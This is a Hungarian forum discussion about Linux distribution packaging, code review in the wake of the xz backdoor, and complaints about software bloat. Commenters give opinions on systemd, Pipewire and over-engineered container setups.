Semmi valódi oka nincsen annak, hogy ugyanazt a programot a különböző disztróknak különböző bináris verzióban kell tálalni. Azért van a fejlesztő, hogy ő megmondja, hogy a programnak mik a függőségei, ha ezt mások felülbírálják helyette, akkor hirtelen nem tud érvelni a programja helyessége mellett, mert azt sem tudja, hogy mivel fordították egybe. A program publikációjának tehát része kell hogy legyen, hogy a fejlesztő melyik libek melyik verzióival szánta egybegyúrni a saját termékét. Plusz a fordítási szkriptek (deklaratív leírások). Ha ezeket kiadja a fejlesztő, akkor mindenki binárisan ugyanazt tudja fordítani belőle, és nincs vita. Ha valakinek mindenképpen más környezethez kell illesztenie a programot, persze megteheti, csak akkor az már explicit felülbírálása a szkirpteknek, és egyértelmű, hogy az már valami más, nem az amit a fejlesztő kiadni szánt.

Nem kell, hogy statikus legyen, de az igaz, hogy ha két alkalmazás két különböző verzióját kéri egy libnek, akkor feltenném mind a kettőt.

Persze a disztró-készítő optimalizálhat, ha akar, de az alap az lenne, hogy a fejlesztő határozza meg a libeket, nem a disztró. Ha lenne olyan disztró, ami a fejlesztő változatát telepíti, akkor én azt választanám.

Kicsit megkésve, de erre muszáj reagálnom. Igen, kéne review, mert így a many-eyeballs miatt mindenki a másiktól várja, hogy ők majd átnézik helyette a kódot, így meg senki nem nézi át, de ez az elvi sík.

A gyakorlati sík viszont az, hogy a fejlesztés ingyenes, amit a disztrók kihoznak, az ingyenes (jó, RHEL, meg 1-2 kivétel van), így nem lehet nekik előírni, hogy mi lenne a kötelességük, mi nem. Főleg, hogy nehezen kivitelezhető, egy disztró tárolójában több tízezer csomag van, annak van pár milliárd kódsora, beleértve a makefile-okat, telepítő scripteket, stb., ezt ha nagy anyagi áldozat árán át is nézik, az is évek, addigra meg az egész ökoszisztéma olyan gyorsan mozog, olyan gyorsan ontják az új verziókat, hogy lehetetlen lesz behozni, lekövetni, még akkor is, ha csak a konkrét új commitokat nézik át.

A megoldás itt az lenne, ha kormányzati szervek, biztonsági cégek rámennének, hogy legalább a főbb, nagyobb komponensek (kernel, systemd, glibc, mesa, ffmpeg, stb.) mellé rendelnek állandó átnéző embereket, 1-1 fejlesztőt csak 1 projektre dedikálva. A többieket meg felhívás alapján önkéntesek néznék át, minden projekt mellé ajánlkozna valaki, hogy átnézi minden verzió kijövetelekor, és addig nem építik be az adott újabb verziót (legalább a corporate grade disztrókba), amíg a véleménye nincs kész, hogy átnézte, engedélyezi. Ha valaki kiesik, akkor meg jelentkeztetni valakit a pótlására. Valaki megbízható, aki valamelyik szervezetnek dolgozik, vagy van valami ellenőrizhető háttere FOSS fejlesztésben, évekre visszamenőleg. Nyilván Kisguczy Illés az utcáról nem játszik, mert adott esetben hiába is nézi át a kódot, pl. az xz-ét, hiába ért hozzá, a véleménye semmit nem fog garantálni, mert nem tudni ki ő, simán ő is lehet ilyen JiaTan-félékkel kollaboráló kém.

A kernel annyiból könnyű, hogy ott van két megbízható ember, Torvalds és Kroah-Hartman, róluk az idő ténylegesen is bizonyította, hogy tényleg nézik a kódot, nagyon megválogatják mit engednek be a kernelbe, az xz-hez hasonló akcióját kivédték a minnesotai egyetemnek 3 éve. Még a systemd se problémás, mert a Red Hat házon belül fejleszti, ők tudnak erre embert adni, hogy felügyelje a külsős commitolók munkáját is. A mesa meg az ffmpeg viszont már problémás, meg a rust és a gcc.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Arra, hogy legalább annyira backdoor mentes, ahogy eddig. Meg hogy ilyen JiaTan emberkéket nem hagynak felügyelet nélkül a projektbe, hogy elfingja magát, és átadják neki.

NSA backdoor az sajnos mindenben lehet, akár még Torvaldsot is megfenyegethetik, és rakathatnak vele bele. Így ilyen síkon ez ellen sose lesz garancia, csak egy: a komplexitási fokot kell visszafogni. A szoftverek kb. 20 éve csak bloatosodnak, sokszor teljesen feleslegesen vannak bonyolítva, absztrahálva, millió kódsorokon, meg rengeteg függőségen át. A suckless meg az OpenBSD fejlesztők pont erről pofáznak már nagyon rég, hogy miért gáz, ha egy kód komplex, miért növeli meg a sérülékenységek számát, és miért kell fenntarthatóságra, rövid, tiszta kódra törekedni. Csak jött a sok soydev hülye, hogy nem számít, mert mindenkinek i7-re meg Ryzenje van, meg sok giga RAM-ja, minek spóroljanak akármivel. Hát ezért.

A rövid kód nem csak a hardverigénynek tesz jót, meg hogy sokkal nehezebb bele backdoort rejteni, hanem pl. ha valami nem szándékolt bug is van, azt is sokkal könnyebb debugolni. Akár egy hobbista is rendbe tesz egy pár soros minimális kódot, nem kell hozzá nagy cégekre várni, hogy nagy tőkével, nagy számú fejlesztővel ők menjenek neki a komplex kódsoroknak. Így nem vagyunk annyira a multiknak kiszolgáltatva. Valamennyire ki leszünk mindig is, mert a munkahelyi gépen, meg bankautomatán, online szolgáltatások szerverein, stb. nem azt használsz, amit akarsz, nem az a rendszer kerül rá, amit át tudsz nézni, de a saját géped, az a te várad, ott megteheted, amit tudsz.

Majd csak nyisd meg a hőn szeretett Fedorádon a process listát, kezdd el elemezni, hogy mi fut. Ez alatt nem azt értem, hogy azok backdoorok, mert valószínű nem, hanem hogy mennyire szükségesek, valóban megkerülhetetlenek-e a használatuk, konkrétan a te felhasználásodnál. Pl. a Gnome-nál is most volt egy botrányos sérülékenység, a kikapcsolhatatlanul futó fs-miner és a libcue miatt. Az nem elég ok, hogy azért kell a háttérben fusson, mert függőség. Nem az, ezt megtanultam az évek során.

Pl. régen nekem is magyarázták, hogy kell a Secure Boot, kell a GRUB, kell az SELinux, meg a systemd, meg login manager, gvfs, Akonadi, OOMkiller, colord, polkitd, upowerd, homed, NetworkManager, snapd, Flatpak, meg a tököm tudja mi. Közben meg eljutottam az évek során, hogy megvagyok a legtöbb ilyen szutyok nélkül, bőven el lehetett őket hagyni. Vagyis a systemd-t nem, de az is folyamatban lévő harc. Most pl. a systemd-sek is nagyon gyorsan rájöttek, hogy sok linkelt függőség az valóban nem szükséges, és a jövőben ezt máshogy fogják megoldani, hogy ilyen xz-s meg hasonló projekteken keresztül ne kompromittálódjanak.

Sőt, ugyanez volt pepitában, amikor nem értetted, miért bírálom a Pipewire-t, mikor nem volt még vele bugom. Azért mert máris túl komplex, és nem hogy nem áll le vele, hanem verzióról verzióra hízik.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Ez a videó nagyon szépen szemlélteti a mai torz fejlesztői szemléletet és mindent agyon bonyolító hozzáállást. Pedig ért hozzá, mert retrós faszi, de úgy kezdi, hogy megemlékezik a BBS előtt, újra létrehoz egyet. Ehhez egyébként elég lenne egy FOSS natív BBS szerver a meglévő linuxos szerverén, de ő ehelyett szándékosan szétbonyolítja. DOS-os Renegade BBS-t futtat, x86box emulátorban, azt beágyazva docker konténerbe, K8s-en keresztül, git-ről konfigot frissítő, Helm scripttel telepítve, Ceph réteg fölé, ha esetleg mégse csak egy node-on kellene később futtatni, vagy hozzá kéne férjen más konténerek adatához. Indokolja mindezt azzal, hogy a virtualizációnak nagy az overheadje, mert ott fut a hypervisor kernelmodul, meg a virtualizált OS. Ehelyett behozott 100× annyi overheadet és bonyolítást, úgy megkutyulta az összes 3-4 betűs technológiával, hogy ha majd nem megy, az isten meg az összes AI se bogozza ki, hogy hol van a gond. A legrosszabb, hogy azt hiszi magáról, hogy ez menő. Közben meg elég lett volna a legrosszabb esetben egy KVM-ben futó Alpine image, amibe telepít egy egyszerű, natív wwivbbs-t vagy lbbs-t.

Persze, ki hibáztatja, mikor már a BBS se a régi, a modern BBS implementációk már Node.js, meg PHP+MySQL alapon mennek, mert az is kell alá. Mikor még C64-ről használták az emberek, akkor elment persze azon is, de most muszáj bonyolítani. Na meg 13 gigás kódbázisú Rust-ban újraírni. Mert megérdemeljük.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Az az alapgondolat, hogy mennyira amatőr hibát követett el a backdoor fejlesztője, nekem is eszembe jutott. Ami a normál működést ennyire lelassítja az feltűnik, és nyilvánvalóan a működéséhez nagyon minimális erőforrás is elegendő lenne. Lehet, hogy valaki a szabotőröket szabotálta?

Tekintettel arra, hogy mennyire összetett és komplex ez az egész cuccos, én simán el tudom képzelni, hogy egyszerűen csak elveszett a részletekben, azért vétett ilyen hibát. Esetleg napok óta pisztolyt fogtak a fejéhez, hogy befejezze, fáradt volt és pont elfogyott a kávé. Vagy valami ilyesmi. Persze az is lehet, hogy valóban szaboltálták a szabotőrt.

Azt hiszem, ezt már sosem tudjuk meg, mert nem túl valószínű, hogy a Jia valódi személyazonosságára egyhamar fény derül. Annyit lehet csak tudni, hogy nagyon nagy valószínűséggel nem ázsiai, hanem kelet európai volt. Legalábbis erre utalnak a nyomok, de persze az is lehet, hogy tényleg csak egy éjszakás műszakú kóreai volt.